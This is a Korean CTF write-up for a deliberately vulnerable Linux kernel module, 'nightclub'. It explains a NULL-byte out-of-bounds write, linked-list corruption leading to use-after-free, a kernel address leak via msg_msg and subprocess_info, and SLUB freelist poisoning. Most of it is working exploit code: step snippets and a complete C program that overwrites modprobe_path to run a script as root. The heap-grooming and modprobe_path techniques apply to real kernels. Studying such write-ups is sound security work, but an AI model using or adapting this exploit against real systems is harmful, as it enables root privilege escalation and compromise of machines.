Nightclub
취약점 분석
1. ADD 및 EDIT의 NULL-byte OOB 쓰기
nightclub note 객체는 0x80바이트이며 kmalloc-128에서 할당된다. 역분석한 구조는 다음과 같다.
struct note {
struct note *next; // +0x00
struct note *prev; // +0x08
char pad0[0x10]; // +0x10
uint64_t offset; // +0x20
char pad1[0x10]; // +0x28
uint32_t key; // +0x38
char pad2[0x14]; // +0x3c
char special[0x10]; // +0x50
char data[0x20]; // +0x60
}; // size: 0x80ADD는 요청한 크기가 0x20 이하인지 검사한 뒤 데이터를 복사하고 NULL 문자를 기록한다.
if (size <= 0x20) {
copy_from_user(note->data, request->data, size);
note->data[size] = '\0';
}size == 0x20이면 NULL 문자가 note+0x80, 즉 다음 kmalloc-128 객체의 첫 바이트에 기록된다. 따라서 다음 객체의 next 포인터 하위 1바이트를 0으로 만들 수 있다.
EDIT에서는 offset과 size를 각각 검사하지만 offset+size는 검사하지 않는다.
if (offset <= 0x10 && size <= 0x20) {
copy_from_user(note->data + offset, request->data, size);
note->data[offset + size] = '\0';
}최대값을 사용하면 다음 범위를 덮을 수 있다.
offset = 0x10
size = 0x20
write = note+0x70 ~ note+0x8f
NULL = note+0x90따라서 다음 kmalloc-128 객체의 앞 0x10바이트를 덮을 수 있으며, 연결 리스트 포인터와 인접 객체를 변조할 수 있다.
2. 이중 연결 리스트 손상을 이용한 UAF
note 객체는 모듈 .data의 master_list를 머리로 하는 이중 연결 리스트에 연결된다. 네 객체를 특정 순서로 해제하고 다시 할당하면 다음 배치를 만들 수 있다.
논리 리스트: A → C → B → D
물리 배치: A | B | C | DA의 OOB NULL-byte가 물리적으로 인접한 B의 next 포인터 하위 바이트를 지우면 B->next가 D에서 C로 변경된다.
변조 전: A → C → B → D
변조 후: A → C → B → C이후 C를 삭제하면 C는 해제되지만 B의 손상된 next는 계속 C를 가리킨다.
master_list → A → B → freed C결과적으로 nightclub 리스트 순회가 해제된 C에 도달할 수 있는 UAF가 생성된다.
3. msg_msg 연결을 이용한 kmalloc-96 접근
해제된 C 자리에 msgsz=0x50인 메시지를 할당하면 전체 크기가 0x30+0x50=0x80이므로 kmalloc-128에서 재할당된다. 이 객체를 M0로 정의한다.
같은 메시지 큐에 msgsz=0x30 메시지 두 개를 추가하면 전체 크기가 각각 0x60이므로 kmalloc-96의 M1과 M2가 된다.
nightclub stale pointer
→ M0 (kmalloc-128)
→ M1 (kmalloc-96)
→ M2 (kmalloc-96)msg_msg.m_list.next는 같은 큐의 다음 메시지를 가리키므로 nightclub 리스트 순회가 M0을 거쳐 M1까지 이동할 수 있다. note의 key 오프셋 +0x38은 msg_msg의 mtext+0x08과 겹친다. M1의 본문을 0x43으로 채우면 가짜 key 0x43434343을 만들 수 있다.
M1의 실제 크기는 0x60이고 가짜 note의 data 역시 +0x60에 있으므로 다음 관계가 성립한다.
M1의 가짜 note->data = M1+0x60 = M2 시작
M1 note->data+0x10 = M2+0x10따라서 offset=0x10, size=0x10으로 M1을 편집하면 M2의 m_type과 m_ts를 함께 덮을 수 있다.
M2+0x10: m_type = 1
M2+0x18: m_ts = 0x2004. subprocess_info를 이용한 커널 주소 누출
socket(22, AF_INET, 0)을 호출하면 지원되지 않는 address family의 모듈 자동 로드 경로가 실행된다. 이 과정에서 call_usermodehelper_setup()이 사용하는 subprocess_info가 kmalloc-96에 할당된다.
M2의 m_ts를 0x200으로 증가시킨 후 메시지를 수신하면 M2 뒤의 subprocess_info까지 OOB로 읽을 수 있다. 반환 버퍼 +0x50에서 call_usermodehelper_exec_work 주소를 얻고 다음 오프셋을 사용한다.
call_usermodehelper_exec_work = kbase + 0x79a40
modprobe_path = kbase + 0x144fca0
__kmalloc = kbase + 0x1caa50네 번째 ioctl인 WTF는 edit_chunk-__kmalloc 차이를 반환한다. 이를 이용해 모듈 주소와 master_list를 계산한다.
edit_chunk = __kmalloc + (uint32_t)ioctl(fd, WTF, 0);
master_list = edit_chunk + 0x20f0;5. Double free와 SLUB freelist poisoning
주소 누출 후 동일한 heap massage를 다시 수행하여 해제된 C가 nightclub 리스트에 남도록 한다. 첫 번째 삭제 시 모듈은 C의 링크를 poison 값으로 변경하므로 그대로 두 번째 삭제를 수행하면 비정상 주소를 역참조한다.
B의 OOB write로 C의 링크를 다음과 같이 복구한다.
C->next = master_list
C->prev = master_list별도 메시지 큐에 보관한 kmalloc-128 메시지 Q를 C의 두 삭제 사이에 해제하면 다음 순환 freelist가 생성된다.
첫 번째 free(C): C
free(Q): Q → C
두 번째 free(C): C → Q → C해당 kmalloc-128 캐시는 해제 객체 +0x40에 다음 freepointer를 저장한다. msg_msg 본문은 객체 +0x30에서 시작하므로 mtext+0x10이 freepointer와 겹친다.
msg_msg+0x30 = mtext
msg_msg+0x40 = mtext+0x10 = SLUB freepointer첫 번째 C를 메시지로 할당하면서 mtext+0x10에 modprobe_path-0x60을 기록한다. 이후 두 번의 nightclub ADD가 Q와 두 번째 C를 차례로 소비하면 CPU freelist가 modprobe_path-0x60을 가리킨다.
6. modprobe_path 덮어쓰기
다음 msgsnd()는 조작된 freepointer를 신뢰하여 modprobe_path-0x60을 kmalloc-128 객체처럼 반환한다.
최종 메시지의 본문 +0x30에 /tmp/ex를 배치하면 다음 계산에 따라 정확히 modprobe_path와 겹친다.
fake object = modprobe_path-0x60
msg_msg.mtext = fake object+0x30
mtext+0x30 = fake object+0x60
= modprobe_pathmodprobe_path를 /tmp/ex로 변경한 뒤 /tmp/ex에 /root/flag를 /tmp/flag로 복사하는 스크립트를 작성한다. 0xffffffff로 시작하는 실행 파일을 실행하면 커널의 모듈 자동 로드 경로가 /tmp/ex를 root 권한으로 실행한다.
Exploit 과정
Step 1: 첫 번째 nightclub UAF 생성
네 note를 할당하고 0 → 2 → 1 → 3 순서로 해제한 뒤 다시 할당한다. 마지막 객체의 NULL-byte OOB로 연결 리스트를 A → C → B → C로 변경하고 C를 해제하여 stale pointer를 만든다.
int uid[4] = {0};
char data[0x20] = {0};
for (int i = 0; i < 4; i++) {
memset(data, 0x41, 8);
uid[i] = nightclub_add(fd, data, sizeof(data));
}
nightclub_del(fd, uid[0]);
nightclub_del(fd, uid[2]);
nightclub_del(fd, uid[1]);
nightclub_del(fd, uid[3]);
for (int i = 0; i < 4; i++)
uid[i] = nightclub_add(fd, data, 8);
nightclub_edit(fd, uid[3], 0, 0x20, data);
nightclub_del(fd, uid[2]);Step 2: kmalloc-128 메시지로 해제 객체 재점유
msgsz=0x50 메시지 M0를 전송하여 해제된 C를 msg_msg로 재점유한다.
int msgid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
struct msg_buf_80 msg_80 = {0};
msg_80.mtype = 1;
memset(msg_80.mtext, 0x42, sizeof(msg_80.mtext));
msgsnd(msgid, &msg_80, sizeof(msg_80.mtext), 0);Step 3: kmalloc-96 메시지 두 개 연결
같은 큐에 msgsz=0x30 메시지 M1과 M2를 전송한다. M1 본문은 0x43, M2 본문은 0x44로 채운다.
struct msg_buf_60 msg_60 = {0};
msg_60.mtype = 1;
memset(msg_60.mtext, 0x43, sizeof(msg_60.mtext));
msgsnd(msgid, &msg_60, sizeof(msg_60.mtext), 0);
memset(msg_60.mtext, 0x44, sizeof(msg_60.mtext));
msgsnd(msgid, &msg_60, sizeof(msg_60.mtext), 0);Step 4: M2의 m_ts 변조
가짜 key 0x43434343으로 M1을 편집한다. offset=0x10, size=0x10 쓰기가 M2의 m_type과 m_ts에 도달한다.
uint32_t id = 0x43434343;
uint64_t corrupt[2] = {
1, // m_type
0x200, // m_ts
};
nightclub_edit(fd, id, 0x10, 0x10, corrupt);Step 5: 커널 및 모듈 주소 누출
socket(22, AF_INET, 0)으로 subprocess_info를 배치하고 메시지 세 개를 순서대로 수신한다. 반환 버퍼 +0x50의 포인터로 커널 베이스를 계산한 후 modprobe_path, edit_chunk, master_list를 계산한다.
socket(22, AF_INET, 0);
char recv_buf[0x200] = {0};
msgrcv(msgid, recv_buf, 0x200, 0, 0);
msgrcv(msgid, recv_buf, 0x200, 0, 0);
msgrcv(msgid, recv_buf, 0x200, 0, 0);
uint64_t leak = *(uint64_t *)(recv_buf + 0x50);
uint64_t kbase = leak - 0x79a40;
uint64_t modprobe_path = kbase + 0x144fca0;
uint64_t kmalloc_addr = kbase + 0x1caa50;
uint32_t delta = (uint32_t)ioctl(fd, WTF, 0);
uint64_t edit_chunk = kmalloc_addr + delta;
uint64_t master_list = edit_chunk + 0x20f0;Step 6: 두 번째 UAF와 double free 구성
nightclub 객체를 다시 배치해 C를 한 번 해제한다. B의 OOB write로 C의 next, prev를 master_list로 복구한 뒤 Q를 해제하고 C를 다시 해제하여 C → Q → C freelist를 만든다.
uint64_t uid2[4] = {0};
for (int i = 0; i < 4; i++) {
memset(data, 0x61, 8);
uid2[i] = nightclub_add(fd, data, 0x1f);
}
nightclub_del(fd, uid2[0]);
nightclub_del(fd, uid2[2]);
nightclub_del(fd, uid2[1]);
nightclub_del(fd, uid2[3]);
for (int i = 0; i < 4; i++)
uid2[i] = nightclub_add(fd, data, 8);
nightclub_edit(fd, uid2[3], 0, 0x20, data);
uint64_t msgid2 = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
struct msg_buf_80 msg_Q = {0};
msg_Q.mtype = 1;
memset(msg_Q.mtext, 0x42, sizeof(msg_Q.mtext));
msgsnd(msgid2, &msg_Q, sizeof(msg_Q.mtext), 0);
nightclub_del(fd, uid2[2]);
uint64_t payload[4] = {0, 0, master_list, master_list};
nightclub_edit(fd, uid2[1], 0x10, 0x20, payload);
msgrcv(msgid2, recv_buf, sizeof(msg_Q.mtext), 0, 0);
nightclub_del(fd, uid2[2]);해제 순서는 다음과 같다.
free(C) → free(Q) → free(C)
freelist: C → Q → CStep 7: SLUB freepointer 조작
첫 번째 C를 msg_msg로 할당하고 mtext+0x10에 modprobe_path-0x60을 기록한다. 두 nightclub ADD가 Q와 두 번째 C를 소비하면 다음 free object가 modprobe_path-0x60으로 변경된다.
memset(msg_Q.mtext, 0x43, sizeof(msg_Q.mtext));
*(uint64_t *)(msg_Q.mtext + 0x10) = modprobe_path - 0x60;
msgsnd(msgid2, &msg_Q, sizeof(msg_Q.mtext), 0);
memset(data, 0, 8);
nightclub_add(fd, data, 8); // Q 소비
nightclub_add(fd, data, 8); // C 소비Step 8: modprobe_path overwrite 및 트리거
최종 msgsnd()가 modprobe_path-0x60을 반환받는다. mtext+0x30에 /tmp/ex를 기록하여 modprobe_path를 덮는다. 이후 스크립트와 잘못된 실행 형식의 파일을 생성해 modprobe를 트리거한다.
memset(msg_Q.mtext, 0, sizeof(msg_Q.mtext));
char *new_path = "/tmp/ex\x00";
*(uint64_t *)(msg_Q.mtext + 0x30) = *(uint64_t *)new_path;
msgsnd(msgid2, &msg_Q, sizeof(msg_Q.mtext), 0);
system(
"printf '%s\n' "
"'#!/bin/sh' "
"'cp /root/flag /tmp/flag' "
"'chmod 644 /tmp/flag' "
"> /tmp/ex");
system("chmod 755 /tmp/ex");
system("printf '\\377\\377\\377\\377' > /tmp/dummy");
system("chmod 755 /tmp/dummy");
system("/tmp/dummy 2>/dev/null");
system("cat /tmp/flag");Exploit Code
#define _GNU_SOURCE
// #include "util/bpf.h"
#include "util/general.h"
#include "util/io_helpers.h"
#include <fcntl.h>
#include <stdint.h>
#include <sys/msg.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#define ADD 0xcafeb001UL
#define DEL 0xcafeb002UL
#define EDIT 0xcafeb003UL
#define WTF 0xcafeb004UL
struct req
{
char data_tmp[0x10];
char data[0x20];
uint32_t id;
uint64_t offset;
uint32_t size;
};
struct msg_buf_80
{
uint64_t mtype;
char mtext[0x80 - 0x30];
};
struct msg_buf_60
{
uint64_t mtype;
char mtext[0x60 - 0x30];
};
uint32_t
nightclub_add(int fd, const void *data, uint32_t size)
{
struct req r = {0};
memcpy(r.data, data, size);
r.size = size;
int id = (uint32_t)ioctl(fd, ADD, &r);
return id;
}
void nightclub_edit(int fd, uint32_t id, uint64_t offset, uint32_t size, const void *data)
{
struct req r = {0};
memcpy(r.data, data, size);
r.id = id;
r.offset = offset;
r.size = size;
ioctl(fd, EDIT, &r);
}
void nightclub_del(int fd, uint32_t id)
{
struct req r = {0};
r.id = id;
ioctl(fd, DEL, &r);
}
int main()
{
important("happy hacking!");
pin_cpu(0);
int fd = open("/dev/nightclub", O_RDWR);
if (fd < 0)
{
perror("open");
return 1;
}
info("opened /dev/nightclub");
// add 4 objects : A -> B -> C -> D
int uid[4] = {0};
char data[0x20] = {0};
for (int i = 0; i < 4; i++)
{
memset(data, 0x41, 8);
uid[i] = nightclub_add(fd, data, sizeof(data));
}
info("added 4 objects");
// del the 4 objects : A->C->B->D
nightclub_del(fd, uid[0]);
nightclub_del(fd, uid[2]);
nightclub_del(fd, uid[1]);
nightclub_del(fd, uid[3]);
info("deleted 4 objects");
// re-add 4 objects
memset(data, 0x41, 8);
for (int i = 0; i < 4; i++)
{
uid[i] = nightclub_add(fd, data, 8);
info("re-added id 0x%x", uid[i]);
}
info("re-added 4 objects : A -> C -> B -> D");
// edit uid[3] for oob null byte overwrite
nightclub_edit(fd, uid[3], 0, 0x20, data);
info("edited id 0x%x for oob null byte overwrite : A -> C -> B -> C", uid[3]);
// kfree uid[2]
nightclub_del(fd, uid[2]);
info("deleted id 0x%x", uid[2]);
// allocate a msg_msg struct at the same address as uid[2]
int msgid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
struct msg_buf_80 msg_80 = {0};
msg_80.mtype = 1;
memset(msg_80.mtext, 0x42, sizeof(msg_80.mtext));
msgsnd(msgid, &msg_80, sizeof(msg_80.mtext), 0);
info("allocated a msg_msg struct at the same address as id 0x%x", uid[2]);
// allocate two msg_msg structs at kmalloc-96
struct msg_buf_60 msg_60 = {0};
msg_60.mtype = 1;
memset(msg_60.mtext, 0x43, sizeof(msg_60.mtext));
msgsnd(msgid, &msg_60, sizeof(msg_60.mtext), 0);
info("The first 0x60 msg_msg struct allocated at kmalloc-96");
memset(msg_60.mtext, 0x44, sizeof(msg_60.mtext));
msgsnd(msgid, &msg_60, sizeof(msg_60.mtext), 0);
info("The second 0x60 msg_msg struct allocated at kmalloc-96");
// edit the first 0x60 msg_msg struct to overwrite the second 0x60 msg_msg struct's m_ts
uint32_t id = 0x43434343;
uint64_t corrupt[2] = {1, 0x200}; // m_type, m_ts
nightclub_edit(fd, id, 0x10, 0x10, corrupt);
info("edited the first 0x60 msg_msg struct to overwrite the second 0x60 msg_msg struct's m_ts");
// allocated subprocess_info struct next to the second 0x60 msg_msg struct
socket(22, AF_INET, 0);
info("allocated a subprocess_info struct next to the second 0x60 msg_msg struct");
// leak the kernel base address
char recv_buf[0x200] = {0};
msgrcv(msgid, recv_buf, 0x200, 0, 0);
msgrcv(msgid, recv_buf, 0x200, 0, 0);
msgrcv(msgid, recv_buf, 0x200, 0, 0); // leak the kernel base address
hexdump(recv_buf, 0x200);
uint64_t leak = *(uint64_t *)(recv_buf + 0x50);
uint64_t kbase = leak - 0x79a40;
uint64_t modprobe_path = kbase + 0x144fca0;
uint64_t kmalloc_addr = kbase + 0x1caa50;
uint32_t delta = (uint32_t)ioctl(fd, WTF, 0);
uint64_t edit_chunk = kmalloc_addr + delta;
uint64_t master_list = edit_chunk + 0x20f0;
info("leaked kernel base address: 0x%lx", leak);
info("kernel base address: 0x%lx", kbase);
info("modprobe_path address: 0x%lx", modprobe_path);
info("__kmalloc address: 0x%lx", kmalloc_addr);
info("edit_chunk address: 0x%lx", edit_chunk);
info("master_list address: 0x%lx", master_list);
// spray to clean up
memset(data, 0x41, 8);
for (int i = 0; i < 0x11; i++)
nightclub_add(fd, data, 8);
info("sprayed 0x10 objects to clean up");
// re-make A -> C -> B -> C
uint64_t uid2[4] = {0};
for (int i = 0; i < 4; i++)
{
memset(data, 0x61, 8);
uid2[i] = nightclub_add(fd, data, 0x1f);
}
nightclub_del(fd, uid2[0]);
nightclub_del(fd, uid2[2]);
nightclub_del(fd, uid2[1]);
nightclub_del(fd, uid2[3]);
memset(data, 0x61, 8);
for (int i = 0; i < 4; i++)
uid2[i] = nightclub_add(fd, data, 8);
nightclub_edit(fd, uid2[3], 0, 0x20, data);
info("re-make A -> C -> B -> C");
// make Q (msg_msg 0x80)
uint64_t msgid2 = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
struct msg_buf_80 msg_Q = {0};
msg_Q.mtype = 1;
memset(msg_Q.mtext, 0x42, sizeof(msg_Q.mtext));
msgsnd(msgid2, &msg_Q, sizeof(msg_Q.mtext), 0);
info("create Q (msg_msg 0x80)");
// free C
nightclub_del(fd, uid2[2]);
info("freed C");
// revoke C's next, prev pointers
uint64_t payload[4] = {0, 0, master_list, master_list};
nightclub_edit(fd, uid2[1], 0x10, 0x20, payload);
info("revoked C's next, prev pointers");
// freed Q -> C to create double free
msgrcv(msgid2, recv_buf, sizeof(msg_Q.mtext), 0, 0);
nightclub_del(fd, uid2[2]);
info("freed C -> Q -> C to create double free");
// allocate a msg_msg struct at the C and modify free list pointer to modprobe_path - 0x60
memset(msg_Q.mtext, 0x43, sizeof(msg_Q.mtext));
*(uint64_t *)(msg_Q.mtext + 0x10) = modprobe_path - 0x60;
msgsnd(msgid2, &msg_Q, sizeof(msg_Q.mtext), 0);
info("allocated a msg_msg struct at the C and modified free list pointer to modprobe_path - 0x60");
// allocate a object at modprobe_path - 0x60
memset(data, 0x0, 8);
nightclub_add(fd, data, 8);
nightclub_add(fd, data, 8);
memset(msg_Q.mtext, 0x0, sizeof(msg_Q.mtext));
char *new_path = "/tmp/ex\x00";
*(uint64_t *)(msg_Q.mtext + 0x30) = *(uint64_t *)new_path;
msgsnd(msgid2, &msg_Q, sizeof(msg_Q.mtext), 0);
info("modprove path overwritten to /tmp/ex");
// trigger modprobe_path
system(
"printf '%s\n' "
"'#!/bin/sh' "
"'cp /root/flag /tmp/flag' "
"'chmod 644 /tmp/flag' "
"> /tmp/ex");
system("chmod 755 /tmp/ex");
system("printf '\\377\\377\\377\\377' > /tmp/dummy");
system("chmod 755 /tmp/dummy");
system("/tmp/dummy 2>/dev/null");
system("cat /tmp/flag");
return 0;
}